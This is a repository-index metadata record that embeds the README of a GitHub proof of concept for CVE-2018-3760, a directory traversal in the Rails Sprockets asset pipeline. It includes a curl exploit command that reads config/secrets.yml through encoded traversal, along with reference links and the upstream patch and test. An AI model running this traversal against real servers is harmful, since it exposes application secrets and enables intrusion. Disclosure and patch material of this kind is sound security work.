{"id":18265894,"url":"https://github.com/mpgn/cve-2018-3760","last_synced_at":"2025-04-09T01:46:05.071Z","repository":{"id":76017605,"uuid":"216585746","full_name":"mpgn/CVE-2018-3760","owner":"mpgn","description":"Rails Asset Pipeline Directory Traversal Vulnerability ","archived":false,"fork":false,"pushed_at":"2019-10-21T14:22:42.000Z","size":4,"stargazers_count":8,"open_issues_count":0,"forks_count":1,"subscribers_count":2,"default_branch":"master","last_synced_at":"2025-02-14T20:32:06.714Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":null,"has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/mpgn.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2019-10-21T14:15:09.000Z","updated_at":"2024-08-12T19:54:08.000Z","dependencies_parsed_at":null,"dependency_job_id":"5d0d08f1-f0d4-4045-8a11-a26d280d3c62","html_url":"https://github.com/mpgn/CVE-2018-3760","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mpgn%2FCVE-2018-3760","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mpgn%2FCVE-2018-3760/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mpgn%2FCVE-2018-3760/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mpgn%2FCVE-2018-3760/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/mpgn","download_url":"https://codeload.github.com/mpgn/CVE-2018-3760/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":247958707,"owners_count":21024827,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-11-05T11:20:31.713Z","updated_at":"2025-04-09T01:46:05.026Z","avatar_url":"https://github.com/mpgn.png","language":null,"funding_links":[],"categories":[],"sub_categories":[],"readme":"# CVE-2018-3760\n\n\u003e Rails Asset Pipeline Directory Traversal Vulnerability \n\nFound by [Orange Tsai](https://twitter.com/orange_8361)\n\n![image](https://user-images.githubusercontent.com/5891788/67213331-26e13380-f41e-11e9-80f4-86a5c9cd993d.png)\n\n**Note**: By default, Rails apps running in production mode are not vulnerable to this exploit.\n\nExploit:\n\n```\ncurl -v http://127.0.0.1:3000/assets/file:%2f%2f/usr/src/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/config/secrets.yml%3ftype=text/yaml\n```\n\n**Security analysis**\n\n- https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf\n- https://xz.aliyun.com/t/2542\n\n**Security Advisory**\n\n- https://blog.heroku.com/rails-asset-pipeline-vulnerability\n\n# Patch\n\n```patch\nFrom c09131cf5b2c479263939c8582e22b98ed616c5f Mon Sep 17 00:00:00 2001\nFrom: schneems \u003crichard.schneeman+foo@gmail.com\u003e\nDate: Tue, 24 Apr 2018 16:37:53 -0500\nSubject: [PATCH] Do not respond to http requests asking for a `file://`\n\nBased on CVE-2018-3760 when the Sprockets server is accidentally being used in production, an attacker can pass in a specifically crafted url that will allow them access to view every file on the system. If the file hit contains a compilable extension such as `.erb` then the code in that file will be executed.\n\nA Rails app will be using the Sprockets file server in production if they have accidentally configured their app to:\n\nconfig.assets.compile = true # Your app is vulnerable\n\nIt is highly recommended to not use the Sprockets server in production and to instead precompile assets to disk and serve them through a server such as Nginx or via the static file middleware that ships with rails `config.public_file_server.enabled = true`.\n\nThis patch mitigates the issue, but explicitly disallowing any requests to uri resources via the server.\n---\n lib/sprockets/server.rb | 2 +-\n test/test_server.rb     | 7 +++++++\n 2 files changed, 8 insertions(+), 1 deletion(-)\n\ndiff --git a/lib/sprockets/server.rb b/lib/sprockets/server.rb\nindex 16edc4a4..5e5507c0 100644\n--- a/lib/sprockets/server.rb\n+++ b/lib/sprockets/server.rb\n@@ -114,7 +114,7 @@ def forbidden_request?(path)\n         #\n         #     http://example.org/assets/../../../etc/passwd\n         #\n-        path.include?(\"..\") || absolute_path?(path)\n+        path.include?(\"..\") || absolute_path?(path) || path.include?(\"://\")\n       end\n \n       def head_request?(env)\ndiff --git a/test/test_server.rb b/test/test_server.rb\nindex d71bc999..b65ad809 100644\n--- a/test/test_server.rb\n+++ b/test/test_server.rb\n@@ -286,6 +286,13 @@ def app\n     assert_equal \"\", last_response.body\n   end\n \n+  test \"illegal access of a file asset\" do\n+    absolute_path = fixture_path(\"server/app/javascripts\")\n+\n+    get \"assets/file:%2f%2f//#{absolute_path}/foo.js\"\n+    assert_equal 403, last_response.status\n+  end\n+\n   test \"add new source to tree\" do\n     filename = fixture_path(\"server/app/javascripts/baz.js\")\n \n```\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmpgn%2Fcve-2018-3760","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fmpgn%2Fcve-2018-3760","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmpgn%2Fcve-2018-3760/lists"}